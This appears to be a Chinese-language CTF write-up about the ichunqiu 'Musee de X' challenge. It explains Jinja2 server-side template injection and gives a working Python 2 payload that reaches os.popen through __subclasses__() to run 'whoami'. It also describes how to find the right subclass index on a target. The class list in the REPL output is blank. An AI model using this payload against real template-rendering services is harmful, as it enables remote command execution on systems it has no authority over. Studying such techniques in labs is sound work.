Jinja2 模板注入&模板内命令执行

原因:

        ichunqiu 的web中有一个 Musee de X ,知道 http:// 文件能获取,但是没有想到 file:// 获取文件,根据报错也没有想过他用的是 jinja2。后来朋友说payload每个环境可能不太一样,就自己尝试了一波。


分析:

      这是 python2 运行的,结果就是输出 whoami 的信息

#code:utf-8

from jinja2 import Template
import sys
reload(sys) 
sys.setdefaultencoding('utf8')


a = Template("{{[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__['os'].__dict__['popen']('whoami').read()}}")
print(a.render())

   开始 我用 python3 逐步输出,然后发现怎么都不行,还是太菜 ... 用 python2 一会儿就行了 ...

C:\Users\shark\Desktop>python2
Python 2.7.14 (v2.7.14:84471935ed, Sep 16 2017, 20:25:58) [MSC v.1500 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> [].__class__.__base__.__subclasses__()
[, , , , , , , , , , 
, , , , , , , , , , , , , 
, , , , , , , , , , , , , , , , 
, , , , , , , , , , 
, , , , , , , , 
, , , , , , , , 
, , , , , , , , , , , , , , , , , , , , , , , ]

发现输出很多类名,根据猜测为 import 的类和内置的类。

于是猜测 payload 为 类名.方法 格式

但是我不知道题目用的是那个类,于是构造

[].__class__.__base__.__subclasses__()[59]

去获取题目用的类名 发现为

于是找到自己对应类的序号,然后在本地构造


你可能感兴趣的:(CTF)